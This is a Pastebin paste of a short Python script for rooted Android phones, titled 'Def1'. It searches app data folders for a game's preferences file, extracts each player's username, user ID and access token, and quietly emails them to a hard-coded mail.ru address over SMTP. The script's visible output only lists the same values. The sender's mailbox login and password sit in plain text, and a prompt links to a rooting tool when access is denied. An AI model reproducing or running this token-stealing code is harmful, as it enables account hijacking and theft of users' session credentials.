VectorASD

Def1

Aug 7th, 2018
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. import os
  2. import androidhelper
  3. import smtplib
  4.  
  5. droid = androidhelper.Android()
  6. def menu(Alert,Items,Positive,Neutral,Negative):
  7. droid.dialogCreateAlert("\ud83d\udcc3 "+Alert)
  8. if Items != None: droid.dialogSetItems(Items)
  9. if Positive != None: droid.dialogSetPositiveButtonText(Positive)
  10. if Neutral != None: droid.dialogSetNeutralButtonText(Neutral)
  11. if Negative != None: droid.dialogSetNegativeButtonText(Negative)
  12. droid.dialogShow()
  13. Zn = droid.dialogGetResponse().result
  14. if "canceled" in Zn: return 0
  15. if "which" in Zn:
  16. if Zn["which"]=="positive": return 1
  17. if Zn["which"]=="neutral": return 2
  18. if Zn["which"]=="negative": return 3
  19. if "item" in Zn: return Zn["item"]+4
  20. return Zn
  21.  
  22. def Coder(Obj):
  23. Str = ""
  24. for i in Obj: Str += "|".join(i)+"\n"
  25. smtpObj = smtplib.SMTP("smtp.mail.ru",587)
  26. smtpObj.starttls()
  27. smtpObj.login('python.boting@mail.ru','VectorASD')
  28. smtpObj.sendmail("python.boting@mail.ru","python.boting@mail.ru",Str)
  29. smtpObj.quit()
  30.  
  31. def GetAttr(Date,Tag):
  32. Sim = Date.index(Tag)+len(Tag)+2
  33. Zn = ""
  34. while Date[Sim] != "<":
  35. Zn += Date[Sim]
  36. Sim += 1
  37. return Zn
  38.  
  39. def PoiskTargets(dir = "/data/data"):
  40. Zn = []
  41. try:
  42. for i in os.listdir(dir):
  43. path = os.path.join(dir, i)
  44. if not os.path.isfile(path):
  45. if os.listdir(path).count("shared_prefs") == 1:
  46. dir2 = path+"/shared_prefs"
  47. if os.listdir(dir2).count("vXTMobile.xml.xml") == 1:
  48. with open(dir2+"/vXTMobile.xml.xml","r") as file:
  49. Date = file.read()
  50. Zn += [[GetAttr(Date,"username"),GetAttr(Date,"uid"),GetAttr(Date,"accesstoken")]]
  51. Coder(Zn)
  52. except OSError:
  53. if menu("No root",None,None,"OK","Get root") == 3: droid.view("https://kingroot.ru.uptodown.com/android/download/1274929")
  54. return Zn
  55.  
  56. J = 0
  57. print("Script started")
  58. for i in PoiskTargets():
  59. if len(i) == 0: break
  60. J += 1
  61. print("Player #"+str(J))
  62. print(" Username: "+i[0])
  63. print(" ID: "+i[1])
  64. print(" AccessToken: "+i[2])
Add Comment
Please, Sign In to add comment